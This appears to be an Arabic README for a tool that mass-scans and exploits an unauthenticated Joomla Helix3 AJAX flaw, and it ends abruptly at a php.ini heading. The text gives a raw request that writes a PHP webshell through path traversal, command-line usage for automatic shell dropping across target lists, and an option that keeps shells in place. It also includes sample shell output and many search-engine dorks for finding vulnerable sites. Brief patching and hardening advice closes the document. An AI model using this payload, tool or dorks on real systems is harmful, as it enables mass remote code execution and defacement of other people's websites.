
ماسح CVE-2026-49049 Helix3 (JoomShaper) Joomla لثغرة تنفيذ الكود عن بُعد عبر AJAX بدون مصادقة
ماسح / مدقّق جماعي لثغرة CVE-2026-49049: معالج AJAX غير مصادق عليه في إضافة Helix3 Framework الخاصة بـ Joomla (v1.0 – 3.1.0، تم تصحيحها في 3.1.1+).
للاستخدام المصرّح به فقط. استخدمها فقط على أنظمة تملكها أو لديك إذن كتابي لاختبارها.
يمكن الوصول إلى المعالج onAjaxHelix3() في plugins/ajax/helix3/helix3.php عبر com_ajax في Joomla دون مصادقة / رمز CSRF:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
| الإجراء | التأثير | الإصدارات |
|---|---|---|
save | كتابة ملف JSON عشوائي + اجتياز المسار | 1.0 – 3.1.0 |
remove | حذف ملف عشوائي (بدون تقييد على الامتداد/المسار) | 1.0 – 3.1.0 |
import | استبدال وسائط القالب في قاعدة البيانات (custom_js غير مُهرَّب → XSS/تشويه) | v3.x فقط |
| إصدار Helix3 | save / remove | import | الحالة |
|---|---|---|---|
| 1.0 – 2.x | ضعيف | غير موجود | ضعيف |
| 3.0 – 3.1.0 | ضعيف | ضعيف | ضعيف |
| 3.1.1+ | مُصحَّح | مُصحَّح | آمن |
الاستغلال الجماعي النشط في البيئة الحقيقية غالبًا ما يُسقط قشرة ويب (webshell) مزدوجة الامتداد:
< 3.1.1save مع layoutName=../../up.php + محتوى قشرة ويب PHP.json → يصل up.php.json إلى جذر الويبAddHandler متعدد الامتدادات في Apache ينفّذ رمز .phpGET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKDetect Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json written
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
المتطلبات: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.
عدّل targets.txt — رابط URL / مضيف واحد لكل سطر (# = تعليق). مسار Joomla يُحتفظ به:
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
لا يُنشئ قشرة ويب. يفحص الإصدار + يختبر save / remove / import:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep
# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
| العلامة | الوصف |
|---|---|
-f / --file | ملف قائمة الأهداف (الافتراضي: targets.txt إذا غاب -t) |
-t / --target | رابط هدف واحد |
--scan | كشف للقراءة فقط |
--auto | كشف + تحقق RCE (الافتراضي) |
-c / --cmd | أمر التحقق (الافتراضي: id) |
-o / --output | ملف النتائج — الأهداف VULN / SHELL_OK فقط |
--json | تقرير JSON منظم |
--keep | عدم الحذف التلقائي للقشرة بعد التحقق |
--threads | عدد العمال المتزامنين (الافتراضي: 15) |
--timeout | مهلة HTTP بالثواني (الافتراضي: 15) |
تحذير: وضع
--autoيحاول كتابة قشرة ويب عبر اجتياز المسار. الافتراضي: تُحذف القشرة بعد التحقق. استخدم--keepفقط للتجارب المصرّح بها.
الطرفية تعرض كل الحالات (التقدم). results.txt يحتوي فقط على الثغرات:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
التسميات الأخرى (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) تظهر في الطرفية فقط، ولا تُكتب في results.txt.
استخدم دلائل البحث أدناه للعثور على أصول Helix3 / Joomla التي يحتمل تأثرها. امسح الأهداف المصرّح بها فقط.
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth save probe (authorized only)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
حدّث إضافتي System – Helix3 Framework و Helix3 – Ajax إلى 3.1.1 أو أحدث (يُوصى بـ 3.1.2).
التحديث لا ينظف الحمولات التي دخلت قاعدة البيانات بالفعل.
#__template_styles عمود params بحثًا عن custom_js / custom_css مُحقنةtmp / media:
up.php.json, cox.json, *.php.json, وأي قشرة ويب أخرىعلامات الاختراق الشائعة: تشويه "Hacked by AntonKill" / "trenggalek6etar"، وحقن custom_js، وملفات JSON غير معروفة.
Apache — لا تستخدم AddHandler متعدد الامتدادات؛ استخدم:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini: